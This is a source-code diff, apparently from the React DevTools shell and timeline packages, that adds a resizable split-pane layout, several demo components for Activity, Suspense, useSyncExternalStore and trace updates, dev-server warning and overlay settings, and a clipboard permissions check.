+      } else if (layoutType === 'leftright') {
+        panes.style.setProperty('--left-column-width', `${splitRatio * 100}%`);
+        panes.style.gridTemplateRows = null;
+        panes.style.gridTemplateColumns = "var(--left-column-width) 1fr";
+      }
+    }
+    layout.addEventListener('change', () => {
+      layoutType = layout.value;
+      setLayout(layoutType, splitRatio);
+      updateDividerPosition(); // Ensure divider updates when layout changes
+    });
+
+    // handle changing the split ratio
+    const divider = document.getElementById('divider');
+    function updateDividerPosition() {
+      if (layoutType === 'topbottom') {
+        // For top/bottom layout, divider should be horizontal (spanning across)
+        divider.className = 'horizontal-divider';
+        divider.style.top = `calc(${splitRatio * 100}%)`;
+        divider.style.left = '0';
+      } else {
+        // For left/right layout, divider should be vertical (spanning down)
+        divider.className = 'vertical-divider';
+        divider.style.left = `calc(${splitRatio * 100}%)`;
+        divider.style.top = '0';
+      }
+    }
+
+    // Add event listeners for dragging
+    divider.addEventListener('mousedown', (e) => {
+      isDragging = true;
+      divider.classList.add('dragging');
+
+      // Disable pointer events on the iframe to prevent it from capturing mouse events
+      const iframe = document.getElementById('target');
+      iframe.style.pointerEvents = 'none';
+
+      e.preventDefault(); // Prevent text selection during drag
+    });
+
+    document.addEventListener('mousemove', (e) => {
+      if (!isDragging) return;
+
+      const panes = document.getElementById('panes');
+      const rect = panes.getBoundingClientRect();
+
+      if (layoutType === 'topbottom') {
+        // Calculate new split ratio based on vertical position
+        const newRatio = Math.max(0.1, Math.min(0.9, (e.clientY - rect.top) / rect.height));
+        splitRatio = newRatio;
+      } else {
+        // Calculate new split ratio based on horizontal position
+        const newRatio = Math.max(0.1, Math.min(0.9, (e.clientX - rect.left) / rect.width));
+        splitRatio = newRatio;
+      }
+
+      // Update layout and divider position
+      setLayout(layoutType, splitRatio);
+      updateDividerPosition();
+    });
+
+    document.addEventListener('mouseup', () => {
+      if (isDragging) {
+        isDragging = false;
+        divider.classList.remove('dragging');
+
+        // Re-enable pointer events on the iframe
+        const iframe = document.getElementById('target');
+        iframe.style.pointerEvents = 'auto';
+      }
+    });
+
+    // Initialize
+    setLayout(
+      layoutType,
+      splitRatio,
+    );
+    updateDividerPosition();
+  </script>
+</body>
 
-    <!-- This script installs the hook, injects the backend, and renders the DevTools UI -->
-    <!-- In DEV mode, this file is served by the Webpack dev server -->
-    <!-- For production builds, it's built by Webpack and uploaded from the local file system -->
-    <script src="dist/app-devtools.js"></script>
-  </body>
-</html>
\ No newline at end of file
+</html>
diff --git a/packages/react-devtools-shell/src/app/ActivityTree/index.js b/packages/react-devtools-shell/src/app/ActivityTree/index.js
new file mode 100644
index 000000000000..b4782ee197b7
--- /dev/null
+++ b/packages/react-devtools-shell/src/app/ActivityTree/index.js
@@ -0,0 +1,39 @@
+import * as React from 'react';
+import {useState} from 'react';
+
+const Activity = React.Activity || React.unstable_Activity;
+
+function Profile({name}) {
+  return (
+    <div>
+      <h4>{name}</h4>
+      <Bio />
+    </div>
+  );
+}
+
+function Bio() {
+  return <p>This is a bio section.</p>;
+}
+
+export default function ActivityTree() {
+  const [mode, setMode] = useState('hidden');
+
+  if (Activity == null) {
+    return null;
+  }
+
+  return (
+    <>
+      <h2>Activity</h2>
+      <button
+        onClick={() => setMode(m => (m === 'visible' ? 'hidden' : 'visible'))}>
+        Toggle mode (current: {mode})
+      </button>
+      <Activity mode={mode} name="profile-panel">
+        <Profile name="Alice" />
+        <Profile name="Bob" />
+      </Activity>
+    </>
+  );
+}
diff --git a/packages/react-devtools-shell/src/app/Hydration/index.js b/packages/react-devtools-shell/src/app/Hydration/index.js
index 29c40c4aee2d..f90bd6bef12e 100644
--- a/packages/react-devtools-shell/src/app/Hydration/index.js
+++ b/packages/react-devtools-shell/src/app/Hydration/index.js
@@ -49,6 +49,10 @@ const objectOfObjects = {
     j: 9,
   },
   qux: {},
+  quux: {
+    k: undefined,
+    l: null,
+  },
 };
 
 function useOuterFoo() {
@@ -106,6 +110,34 @@ function useInnerBaz() {
   return count;
 }
 
+const unusedPromise = Promise.resolve();
+const usedFulfilledPromise = Promise.resolve();
+const usedFulfilledRichPromise = Promise.resolve({
+  some: {
+    deeply: {
+      nested: {
+        object: {
+          string: 'test',
+          fn: () => {},
+        },
+      },
+    },
+  },
+});
+const usedPendingPromise = new Promise(resolve => {});
+const usedRejectedPromise = Promise.reject(
+  // eslint-disable-next-line react-internal/prod-error-codes
+  new Error('test-error-do-not-surface'),
+);
+
+class DigestError extends Error {
+  digest: string;
+  constructor(message: string, options: any, digest: string) {
+    super(message, options);
+    this.digest = digest;
+  }
+}
+
 export default function Hydration(): React.Node {
   return (
     <Fragment>
@@ -120,17 +152,62 @@ export default function Hydration(): React.Node {
         date={new Date()}
         array={arrayOfArrays}
         object={objectOfObjects}
+        unusedPromise={unusedPromise}
+        usedFulfilledPromise={usedFulfilledPromise}
+        usedFulfilledRichPromise={usedFulfilledRichPromise}
+        usedPendingPromise={usedPendingPromise}
+        usedRejectedPromise={usedRejectedPromise}
+        // eslint-disable-next-line react-internal/prod-error-codes
+        error={new Error('test')}
+        // eslint-disable-next-line react-internal/prod-error-codes
+        errorWithCause={new Error('one', {cause: new TypeError('two')})}
+        errorWithDigest={new DigestError('test', {}, 'some-digest')}
+        // $FlowFixMe[cannot-resolve-name] Flow doesn't know about DOMException
+        domexception={new DOMException('test')}
       />
       <DeepHooks />
     </Fragment>
   );
 }
 
+function Use({value}: {value: Promise<mixed>}): React.Node {
+  React.use(value);
+  return null;
+}
+
+class IgnoreErrors extends React.Component {
+  state: {hasError: boolean} = {hasError: false};
+  static getDerivedStateFromError(): {hasError: boolean} {
+    return {hasError: true};
+  }
+
+  render(): React.Node {
+    if (this.state.hasError) {
+      return null;
+    }
+    return this.props.children;
+  }
+}
+
 function DehydratableProps({array, object}: any) {
   return (
     <ul>
       <li>array: {JSON.stringify(array, null, 2)}</li>
       <li>object: {JSON.stringify(object, null, 2)}</li>
+      <React.Suspense>
+        <Use value={usedPendingPromise} />
+      </React.Suspense>
+      <React.Suspense>
+        <Use value={usedFulfilledPromise} />
+      </React.Suspense>
+      <React.Suspense>
+        <Use value={usedFulfilledRichPromise} />
+      </React.Suspense>
+      <IgnoreErrors>
+        <React.Suspense>
+          <Use value={usedRejectedPromise} />
+        </React.Suspense>
+      </IgnoreErrors>
     </ul>
   );
 }
diff --git a/packages/react-devtools-shell/src/app/InspectableElements/Contexts.js b/packages/react-devtools-shell/src/app/InspectableElements/Contexts.js
index ace7af6d55d3..ebd2470ac60f 100644
--- a/packages/react-devtools-shell/src/app/InspectableElements/Contexts.js
+++ b/packages/react-devtools-shell/src/app/InspectableElements/Contexts.js
@@ -28,7 +28,7 @@ const contextData = {
   bool: true,
   func: someNamedFunction,
   number: 123,
-  object: {outer: {inner: {}}},
+  object: {outer: {inner: {} as {...}}},
   string: 'abc',
   symbol: Symbol.for('symbol'),
   null: null,
diff --git a/packages/react-devtools-shell/src/app/InspectableElements/CustomHooks.js b/packages/react-devtools-shell/src/app/InspectableElements/CustomHooks.js
index a05acf138d3d..487c0be4da75 100644
--- a/packages/react-devtools-shell/src/app/InspectableElements/CustomHooks.js
+++ b/packages/react-devtools-shell/src/app/InspectableElements/CustomHooks.js
@@ -72,7 +72,7 @@ function useDeepHookF() {
 const ContextA = createContext('A');
 const ContextB = createContext('B');
 
-function FunctionWithHooks(props: any, ref: React$Ref<any>) {
+function FunctionWithHooks(props: any, ref: React$RefSetter<any>) {
   const [count, updateCount] = useState(0);
   // eslint-disable-next-line no-unused-vars
   const contextValueA = useContext(ContextA);
@@ -108,7 +108,9 @@ function FunctionWithHooks(props: any, ref: React$Ref<any>) {
 const MemoWithHooks = memo(FunctionWithHooks);
 const ForwardRefWithHooks = forwardRef(FunctionWithHooks);
 
-function wrapWithHoc(Component: (props: any, ref: React$Ref<any>) => any) {
+function wrapWithHoc(
+  Component: (props: any, ref: React$RefSetter<any>) => any,
+) {
   function Hoc() {
     return <Component />;
   }
diff --git a/packages/react-devtools-shell/src/app/InspectableElements/InspectableElements.js b/packages/react-devtools-shell/src/app/InspectableElements/InspectableElements.js
index abc6eee336c1..34f46774b188 100644
--- a/packages/react-devtools-shell/src/app/InspectableElements/InspectableElements.js
+++ b/packages/react-devtools-shell/src/app/InspectableElements/InspectableElements.js
@@ -19,6 +19,8 @@ import NestedProps from './NestedProps';
 import SimpleValues from './SimpleValues';
 import SymbolKeys from './SymbolKeys';
 import UseMemoCache from './UseMemoCache';
+import UseEffectEvent from './UseEffectEvent';
+import UseSyncExternalStore from './UseSyncExternalStore';
 
 // TODO Add Immutable JS example
 
@@ -36,6 +38,8 @@ export default function InspectableElements(): React.Node {
       <CircularReferences />
       <SymbolKeys />
       <UseMemoCache />
+      <UseEffectEvent />
+      <UseSyncExternalStore />
     </Fragment>
   );
 }
diff --git a/packages/react-devtools-shell/src/app/InspectableElements/UnserializableProps.js b/packages/react-devtools-shell/src/app/InspectableElements/UnserializableProps.js
index 906683c0975f..2c279a1bdbf8 100644
--- a/packages/react-devtools-shell/src/app/InspectableElements/UnserializableProps.js
+++ b/packages/react-devtools-shell/src/app/InspectableElements/UnserializableProps.js
@@ -31,7 +31,7 @@ const immutable = Immutable.fromJS({
     xyz: 1,
   },
 });
-const bigInt = BigInt(123); // eslint-disable-line no-undef
+const bigInt = BigInt(123);
 
 class Foo {
   flag = false;
diff --git a/packages/react-devtools-shell/src/app/InspectableElements/UseEffectEvent.js b/packages/react-devtools-shell/src/app/InspectableElements/UseEffectEvent.js
new file mode 100644
index 000000000000..020246e8a4a7
--- /dev/null
+++ b/packages/react-devtools-shell/src/app/InspectableElements/UseEffectEvent.js
@@ -0,0 +1,34 @@
+import * as React from 'react';
+
+const {useState, useEffect} = React;
+const useEffectEvent =
+  React.useEffectEvent || React.experimental_useEffectEvent;
+
+export default function UseEffectEvent(): React.Node {
+  return (
+    <>
+      <SingleHookCase />
+      <HookTreeCase />
+    </>
+  );
+}
+
+function SingleHookCase() {
+  const onClick = useEffectEvent(() => {});
+
+  return <div onClick={onClick} />;
+}
+
+function useCustomHook() {
+  const [state, setState] = useState();
+  const onClick = useEffectEvent(() => {});
+  useEffect(() => {});
+
+  return [state, setState, onClick];
+}
+
+function HookTreeCase() {
+  const onClick = useCustomHook();
+
+  return <div onClick={onClick} />;
+}
diff --git a/packages/react-devtools-shell/src/app/InspectableElements/UseSyncExternalStore.js b/packages/react-devtools-shell/src/app/InspectableElements/UseSyncExternalStore.js
new file mode 100644
index 000000000000..decb10b2db2d
--- /dev/null
+++ b/packages/react-devtools-shell/src/app/InspectableElements/UseSyncExternalStore.js
@@ -0,0 +1,133 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as React from 'react';
+
+const {useState, useEffect, useSyncExternalStore} = React;
+
+// Create a simple external store for demonstratio
+function createStore<T>(initialValue: T): {
+  subscribe: (cb: () => void) => () => any,
+  getSnapshot: () => T,
+  setValue: (newValue: T) => void,
+} {
+  let value = initialValue;
+  const subscribers = new Set<() => void>();
+
+  return {
+    subscribe(callback) {
+      subscribers.add(callback);
+      return () => subscribers.delete(callback);
+    },
+    getSnapshot() {
+      return value;
+    },
+    setValue(newValue) {
+      value = newValue;
+      subscribers.forEach(callback => callback());
+    },
+  };
+}
+
+const counterStore = createStore(0);
+const themeStore = createStore('light');
+
+export default function UseSyncExternalStore(): React.Node {
+  return (
+    <>
+      <h2>useSyncExternalStore()</h2>
+      <SingleHookCase />
+      <HookTreeCase />
+      <MultipleStoresCase />
+    </>
+  );
+}
+
+function SingleHookCase(): React.Node {
+  const count = useSyncExternalStore(
+    counterStore.subscribe,
+    counterStore.getSnapshot,
+  );
+
+  return (
+    <div>
+      <h3>Single hook case</h3>
+      <p>Count: {count}</p>
+      <button onClick={() => counterStore.setValue(count + 1)}>
+        Increment
+      </button>
+      <button onClick={() => counterStore.setValue(count - 1)}>
+        Decrement
+      </button>
+    </div>
+  );
+}
+
+function useCounter() {
+  const count = useSyncExternalStore(
+    counterStore.subscribe,
+    counterStore.getSnapshot,
+  );
+  const [localState, setLocalState] = useState(0);
+
+  useEffect(() => {
+    // Some effect
+  }, [count]);
+
+  return {count, localState, setLocalState};
+}
+
+function HookTreeCase(): React.Node {
+  const {count, localState, setLocalState} = useCounter();
+
+  return (
+    <div>
+      <h3>Hook tree case</h3>
+      <p>External count: {count}</p>
+      <p>Local state: {localState}</p>
+      <button onClick={() => counterStore.setValue(count + 1)}>
+        Increment External
+      </button>
+      <button onClick={() => setLocalState(localState + 1)}>
+        Increment Local
+      </button>
+    </div>
+  );
+}
+
+function useTheme() {
+  const theme = useSyncExternalStore(
+    themeStore.subscribe,
+    themeStore.getSnapshot,
+  );
+
+  return theme;
+}
+
+function MultipleStoresCase() {
+  const count = useSyncExternalStore(
+    counterStore.subscribe,
+    counterStore.getSnapshot,
+  );
+  const theme = useTheme();
+
+  return (
+    <div style={{background: theme === 'dark' ? '#333' : '#fff'}}>
+      <h3>Multiple stores case</h3>
+      <p>Count: {count}</p>
+      <p>Theme: {theme}</p>
+      <button
+        onClick={() =>
+          themeStore.setValue(theme === 'light' ? 'dark' : 'light')
+        }>
+        Toggle Theme
+      </button>
+    </div>
+  );
+}
diff --git a/packages/react-devtools-shell/src/app/Segments/index.js b/packages/react-devtools-shell/src/app/Segments/index.js
new file mode 100644
index 000000000000..0677cfff777f
--- /dev/null
+++ b/packages/react-devtools-shell/src/app/Segments/index.js
@@ -0,0 +1,100 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as React from 'react';
+
+function deferred<T>(
+  timeoutMS: number,
+  resolvedValue: T,
+  displayName: string,
+): Promise<T> {
+  const promise = new Promise<T>(resolve => {
+    setTimeout(() => resolve(resolvedValue), timeoutMS);
+  });
+  (promise as any).displayName = displayName;
+
+  return promise;
+}
+
+const title = deferred(100, 'Segmented Page Title', 'title');
+const content = deferred(
+  400,
+  'This is the content of a segmented page. It loads in multiple parts.',
+  'content',
+);
+function Page(): React.Node {
+  return (
+    <article>
+      <h1>{title}</h1>
+      <p>{content}</p>
+    </article>
+  );
+}
+
+function InnerSegment({children}: {children: React.Node}): React.Node {
+  return (
+    <>
+      <h3>Inner Segment</h3>
+      <React.Suspense name="InnerSegment" fallback={<p>Loading...</p>}>
+        <section>{children}</section>
+        <p>After inner</p>
+      </React.Suspense>
+    </>
+  );
+}
+
+const cookies = deferred(200, 'Cookies: 🍪🍪🍪', 'cookies');
+function OuterSegment({children}: {children: React.Node}): React.Node {
+  return (
+    <>
+      <h2>Outer Segment</h2>
+      <React.Suspense name="OuterSegment" fallback={<p>Loading outer</p>}>
+        <p>{cookies}</p>
+        <div>{children}</div>
+        <p>After outer</p>
+      </React.Suspense>
+    </>
+  );
+}
+
+function Root({children}: {children: React.Node}): React.Node {
+  return (
+    <>
+      <h1>Root Segment</h1>
+      <React.Suspense name="Root" fallback={<p>Loading root</p>}>
+        <main>{children}</main>
+        <footer>After root</footer>
+      </React.Suspense>
+    </>
+  );
+}
+
+const dynamicData = deferred(10, 'Dynamic Data: 📈📉📊', 'dynamicData');
+export default function Segments(): React.Node {
+  return (
+    <>
+      <p>{dynamicData}</p>
+      <React.Activity name="root" mode="visible">
+        <Root>
+          <React.Activity name="outer" mode="visible">
+            <OuterSegment>
+              <React.Activity name="inner" mode="visible">
+                <InnerSegment>
+                  <React.Activity name="slot" mode="visible">
+                    <Page />
+                  </React.Activity>
+                </InnerSegment>
+              </React.Activity>
+            </OuterSegment>
+          </React.Activity>
+        </Root>
+      </React.Activity>
+    </>
+  );
+}
diff --git a/packages/react-devtools-shell/src/app/SuspenseTree/index.js b/packages/react-devtools-shell/src/app/SuspenseTree/index.js
index 846e3f8ef636..f9b687cbc879 100644
--- a/packages/react-devtools-shell/src/app/SuspenseTree/index.js
+++ b/packages/react-devtools-shell/src/app/SuspenseTree/index.js
@@ -12,6 +12,7 @@ import {
   Fragment,
   Suspense,
   unstable_SuspenseList as SuspenseList,
+  useReducer,
   useState,
 } from 'react';
 
@@ -26,10 +27,156 @@ function SuspenseTree(): React.Node {
       <NestedSuspenseTest />
       <SuspenseListTest />
       <EmptySuspense />
+      <SuspenseTreeOperations />
     </Fragment>
   );
 }
 
+function IgnoreMePassthrough({children}: {children: React$Node}) {
+  return <span>{children}</span>;
+}
+
+const suspenseTreeOperationsChildren = {
+  a: (
+    <Suspense key="a" name="a">
+      <p>A</p>
+    </Suspense>
+  ),
+  b: (
+    <div key="b">
+      <Suspense name="b">B</Suspense>
+    </div>
+  ),
+  c: (
+    <p key="c">
+      <Suspense key="c" name="c">
+        C
+      </Suspense>
+    </p>
+  ),
+  d: (
+    <Suspense key="d" name="d">
+      <div>D</div>
+    </Suspense>
+  ),
+  e: (
+    <Suspense key="e" name="e">
+      <IgnoreMePassthrough key="e1">
+        <Suspense name="e-child-one">
+          <p>e1</p>
+        </Suspense>
+      </IgnoreMePassthrough>
+      <IgnoreMePassthrough key="e2">
+        <Suspense name="e-child-two">
+          <div>e2</div>
+        </Suspense>
+      </IgnoreMePassthrough>
+    </Suspense>
+  ),
+  eReordered: (
+    <Suspense key="e" name="e">
+      <IgnoreMePassthrough key="e2">
+        <Suspense name="e-child-two">
+          <div>e2</div>
+        </Suspense>
+      </IgnoreMePassthrough>
+      <IgnoreMePassthrough key="e1">
+        <Suspense name="e-child-one">
+          <p>e1</p>
+        </Suspense>
+      </IgnoreMePassthrough>
+    </Suspense>
+  ),
+};
+
+function SuspenseTreeOperations() {
+  const initialChildren: any[] = [
+    suspenseTreeOperationsChildren.a,
+    suspenseTreeOperationsChildren.b,
+    suspenseTreeOperationsChildren.c,
+    suspenseTreeOperationsChildren.d,
+    suspenseTreeOperationsChildren.e,
+  ];
+  const [children, dispatch] = useReducer(
+    (
+      pendingState: any[],
+      action: 'toggle-mount' | 'reorder' | 'reorder-within-filtered',
+    ): React$Node[] => {
+      switch (action) {
+        case 'toggle-mount':
+          if (pendingState.length === 5) {
+            return [
+              suspenseTreeOperationsChildren.a,
+              suspenseTreeOperationsChildren.b,
+              suspenseTreeOperationsChildren.c,
+              suspenseTreeOperationsChildren.d,
+            ];
+          } else {
+            return [
+              suspenseTreeOperationsChildren.a,
+              suspenseTreeOperationsChildren.b,
+              suspenseTreeOperationsChildren.c,
+              suspenseTreeOperationsChildren.d,
+              suspenseTreeOperationsChildren.e,
+            ];
+          }
+        case 'reorder':
+          if (pendingState[1] === suspenseTreeOperationsChildren.b) {
+            return [
+              suspenseTreeOperationsChildren.a,
+              suspenseTreeOperationsChildren.c,
+              suspenseTreeOperationsChildren.b,
+              suspenseTreeOperationsChildren.d,
+              suspenseTreeOperationsChildren.e,
+            ];
+          } else {
+            return [
+              suspenseTreeOperationsChildren.a,
+              suspenseTreeOperationsChildren.b,
+              suspenseTreeOperationsChildren.c,
+              suspenseTreeOperationsChildren.d,
+              suspenseTreeOperationsChildren.e,
+            ];
+          }
+        case 'reorder-within-filtered':
+          if (pendingState[4] === suspenseTreeOperationsChildren.e) {
+            return [
+              suspenseTreeOperationsChildren.a,
+              suspenseTreeOperationsChildren.b,
+              suspenseTreeOperationsChildren.c,
+              suspenseTreeOperationsChildren.d,
+              suspenseTreeOperationsChildren.eReordered,
+            ];
+          } else {
+            return [
+              suspenseTreeOperationsChildren.a,
+              suspenseTreeOperationsChildren.b,
+              suspenseTreeOperationsChildren.c,
+              suspenseTreeOperationsChildren.d,
+              suspenseTreeOperationsChildren.e,
+            ];
+          }
+        default:
+          return pendingState;
+      }
+    },
+    initialChildren,
+  );
+
+  return (
+    <>
+      <button onClick={() => dispatch('toggle-mount')}>Toggle Mount</button>
+      <button onClick={() => dispatch('reorder')}>Reorder</button>
+      <button onClick={() => dispatch('reorder-within-filtered')}>
+        Reorder Within Filtered
+      </button>
+      <Suspense name="operations-parent">
+        <section>{children}</section>
+      </Suspense>
+    </>
+  );
+}
+
 function EmptySuspense() {
   return <Suspense />;
 }
@@ -37,8 +184,12 @@ function EmptySuspense() {
 // $FlowFixMe[missing-local-annot]
 function PrimaryFallbackTest({initialSuspend}) {
   const [suspend, setSuspend] = useState(initialSuspend);
-  const fallbackStep = useTestSequence('fallback', Fallback1, Fallback2);
-  const primaryStep = useTestSequence('primary', Primary1, Primary2);
+  const [fallbackStepIndex, fallbackStep] = useTestSequence(
+    'fallback',
+    Fallback1,
+    Fallback2,
+  );
+  const [, primaryStep] = useTestSequence('primary', Primary1, Primary2);
   return (
     <Fragment>
       <label>
@@ -51,7 +202,11 @@ function PrimaryFallbackTest({initialSuspend}) {
       </label>
       <br />
       <Suspense fallback={fallbackStep}>
-        {suspend ? <Never /> : primaryStep}
+        {suspend ? (
+          <Never id={`primary-fallback-test-${fallbackStepIndex}`} />
+        ) : (
+          primaryStep
+        )}
       </Suspense>
     </Fragment>
   );
@@ -80,7 +235,7 @@ function useTestSequence(label: string, T1: any => any, T2: any => any) {
       {next} <T2 prop={step}>goodbye</T2>
     </Fragment>,
   ];
-  return allSteps[step];
+  return [step, allSteps[step]];
 }
 
 function NestedSuspenseTest() {
@@ -105,7 +260,7 @@ function Parent() {
       </Suspense>
       <br />
       <Suspense fallback={<Fallback1>This will never load</Fallback1>}>
-        <Never />
+        <Never id="parent-never" />
       </Suspense>
       <br />
       <b>
@@ -144,20 +299,56 @@ function LoadLater() {
     <Suspense
       fallback={
         <Fallback1 onClick={() => setLoadChild(true)}>Click to load</Fallback1>
-      }>
+      }
+      name="LoadLater">
       {loadChild ? (
         <Primary1 onClick={() => setLoadChild(false)}>
           Loaded! Click to suspend again.
         </Primary1>
       ) : (
-        <Never />
+        <Never id="load-later" />
       )}
     </Suspense>
   );
 }
 
-function Never() {
-  throw new Promise(resolve => {});
+function readRecord(promise: any): any {
+  if (typeof React.use === 'function') {
+    // eslint-disable-next-line react-hooks-published/rules-of-hooks
+    return React.use(promise);
+  }
+  switch (promise.status) {
+    case 'pending':
+      throw promise;
+    case 'rejected':
+      throw promise.reason;
+    case 'fulfilled':
+      return promise.value;
+    default:
+      promise.status = 'pending';
+      promise.then(
+        value => {
+          promise.status = 'fulfilled';
+          promise.value = value;
+        },
+        reason => {
+          promise.status = 'rejected';
+          promise.reason = reason;
+        },
+      );
+      throw promise;
+  }
+}
+
+const nevers = new Map<string, Promise<empty>>();
+function Never({id}: {id: string}) {
+  let promise = nevers.get(id);
+  if (!promise) {
+    promise = new Promise(() => {});
+    (promise as any).displayName = id;
+    nevers.set(id, promise);
+  }
+  readRecord(promise);
 }
 
 function Fallback1({prop, ...rest}: any) {
diff --git a/packages/react-devtools-shell/src/app/ToDoList/ListItem.js b/packages/react-devtools-shell/src/app/ToDoList/ListItem.js
index f29e8fe418d8..549d15c31ea2 100644
--- a/packages/react-devtools-shell/src/app/ToDoList/ListItem.js
+++ b/packages/react-devtools-shell/src/app/ToDoList/ListItem.js
@@ -46,4 +46,4 @@ function ListItem({item, removeItem, toggleItem}: Props) {
   );
 }
 
-export default (memo(ListItem): React.ComponentType<Props>);
+export default (memo(ListItem): component(...props: Props));
diff --git a/packages/react-devtools-shell/src/app/TraceUpdatesTest/index.js b/packages/react-devtools-shell/src/app/TraceUpdatesTest/index.js
new file mode 100644
index 000000000000..dd847ad7aef4
--- /dev/null
+++ b/packages/react-devtools-shell/src/app/TraceUpdatesTest/index.js
@@ -0,0 +1,87 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as React from 'react';
+import {useRef, useState} from 'react';
+
+const Counter = () => {
+  const [count, setCount] = useState(0);
+
+  return (
+    <div>
+      <h3>Count: {count}</h3>
+      <button onClick={() => setCount(c => c + 1)}>Increment</button>
+    </div>
+  );
+};
+
+function DialogComponent() {
+  const dialogRef = useRef(null);
+
+  const openDialog = () => {
+    if (dialogRef.current) {
+      dialogRef.current.showModal();
+    }
+  };
+
+  const closeDialog = () => {
+    if (dialogRef.current) {
+      dialogRef.current.close();
+    }
+  };
+
+  return (
+    <div style={{margin: '10px 0'}}>
+      <button onClick={openDialog}>Open Dialog</button>
+      <dialog ref={dialogRef} style={{padding: '20px'}}>
+        <h3>Dialog Content</h3>
+        <Counter />
+        <button onClick={closeDialog}>Close</button>
+      </dialog>
+    </div>
+  );
+}
+
+function RegularComponent() {
+  return (
+    <div style={{margin: '10px 0'}}>
+      <h3>Regular Component</h3>
+      <Counter />
+    </div>
+  );
+}
+
+export default function TraceUpdatesTest(): React.Node {
+  return (
+    <div>
+      <h2>TraceUpdates Test</h2>
+
+      <div style={{marginBottom: '20px'}}>
+        <h3>Standard Component</h3>
+        <RegularComponent />
+      </div>
+
+      <div style={{marginBottom: '20px'}}>
+        <h3>Dialog Component (top-layer element)</h3>
+        <DialogComponent />
+      </div>
+
+      <div
+        style={{marginTop: '20px', padding: '10px', border: '1px solid #ddd'}}>
+        <h3>How to Test:</h3>
+        <ol>
+          <li>Open DevTools Components panel</li>
+          <li>Enable "Highlight updates when components render" in settings</li>
+          <li>Click increment buttons and observe highlights</li>
+          <li>Open the dialog and test increments there as well</li>
+        </ol>
+      </div>
+    </div>
+  );
+}
diff --git a/packages/react-devtools-shell/src/app/index.js b/packages/react-devtools-shell/src/app/index.js
index 11f13bec47b2..d23b8ca7a451 100644
--- a/packages/react-devtools-shell/src/app/index.js
+++ b/packages/react-devtools-shell/src/app/index.js
@@ -18,7 +18,10 @@ import ToDoList from './ToDoList';
 import Toggle from './Toggle';
 import ErrorBoundaries from './ErrorBoundaries';
 import PartiallyStrictApp from './PartiallyStrictApp';
+import Segments from './Segments';
 import SuspenseTree from './SuspenseTree';
+import ActivityTree from './ActivityTree';
+import TraceUpdatesTest from './TraceUpdatesTest';
 import {ignoreErrors, ignoreLogs, ignoreWarnings} from './console';
 
 import './styles.css';
@@ -112,6 +115,9 @@ function mountTestApp() {
   mountApp(SuspenseTree);
   mountApp(DeeplyNestedComponents);
   mountApp(Iframe);
+  mountApp(ActivityTree);
+  mountApp(TraceUpdatesTest);
+  mountApp(Segments);
 
   if (shouldRenderLegacy) {
     mountLegacyApp(PartiallyStrictApp);
diff --git a/packages/react-devtools-shell/webpack-server.js b/packages/react-devtools-shell/webpack-server.js
index 467bd6cfa363..4504c5ebcd00 100644
--- a/packages/react-devtools-shell/webpack-server.js
+++ b/packages/react-devtools-shell/webpack-server.js
@@ -47,7 +47,31 @@ const E2E_APP_BUILD_DIR = process.env.REACT_VERSION
 const makeConfig = (entry, alias) => ({
   mode: __DEV__ ? 'development' : 'production',
   devtool: __DEV__ ? 'cheap-source-map' : 'source-map',
-  stats: 'normal',
+  stats: {
+    preset: 'normal',
+    warningsFilter: [
+      warning => {
+        const message = warning.message;
+        // We use ReactDOM legacy APIs conditionally based on the React version.
+        // react-native-web also accesses legacy APIs statically but we don't end
+        // up using them at runtime.
+        return (
+          message.startsWith(
+            `export 'findDOMNode' (imported as 'findDOMNode') was not found in 'react-dom'`,
+          ) ||
+          message.startsWith(
+            `export 'hydrate' (reexported as 'hydrate') was not found in 'react-dom'`,
+          ) ||
+          message.startsWith(
+            `export 'render' (imported as 'render') was not found in 'react-dom'`,
+          ) ||
+          message.startsWith(
+            `export 'unmountComponentAtNode' (imported as 'unmountComponentAtNode') was not found in 'react-dom'`,
+          )
+        );
+      },
+    ],
+  },
   entry,
   output: {
     publicPath: '/dist/',
@@ -174,6 +198,17 @@ const appServer = new WebpackDevServer(
     port: 8080,
     client: {
       logging: 'warn',
+      overlay: {
+        warnings: false,
+        runtimeErrors: error => {
+          const shouldIgnoreError =
+            error !== null &&
+            typeof error === 'object' &&
+            error.message === 'test-error-do-not-surface';
+
+          return !shouldIgnoreError;
+        },
+      },
     },
     static: {
       directory: __dirname,
@@ -189,6 +224,9 @@ const e2eRegressionAppServer = new WebpackDevServer(
     port: 8181,
     client: {
       logging: 'warn',
+      overlay: {
+        warnings: false,
+      },
     },
     static: {
       publicPath: '/dist/',
diff --git a/packages/react-devtools-timeline/package.json b/packages/react-devtools-timeline/package.json
index da673cd03b28..5e4df8355267 100644
--- a/packages/react-devtools-timeline/package.json
+++ b/packages/react-devtools-timeline/package.json
@@ -1,7 +1,7 @@
 {
   "private": true,
   "name": "react-devtools-timeline",
-  "version": "5.3.0",
+  "version": "7.0.1",
   "license": "MIT",
   "dependencies": {
     "@elg/speedscope": "1.9.0-a6f84db",
diff --git a/packages/react-devtools-timeline/src/CanvasPageContextMenu.js b/packages/react-devtools-timeline/src/CanvasPageContextMenu.js
index 2af32a68aa4e..5bd4da3141b7 100644
--- a/packages/react-devtools-timeline/src/CanvasPageContextMenu.js
+++ b/packages/react-devtools-timeline/src/CanvasPageContextMenu.js
@@ -13,6 +13,7 @@ import {copy} from 'clipboard-js';
 import prettyMilliseconds from 'pretty-ms';
 
 import ContextMenuContainer from 'react-devtools-shared/src/devtools/ContextMenu/ContextMenuContainer';
+import {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';
 
 import {getBatchRange} from './utils/getBatchRange';
 import {moveStateToRange} from './view-base/utils/scrollState';
@@ -138,7 +139,9 @@ export default function CanvasPageContextMenu({
           content: 'Zoom to batch',
         },
         {
-          onClick: () => copySummary(timelineData, measure),
+          onClick: withPermissionsCheck({permissions: ['clipboardWrite']}, () =>
+            copySummary(timelineData, measure),
+          ),
           content: 'Copy summary',
         },
       );
@@ -147,16 +150,19 @@ export default function CanvasPageContextMenu({
     if (flamechartStackFrame != null) {
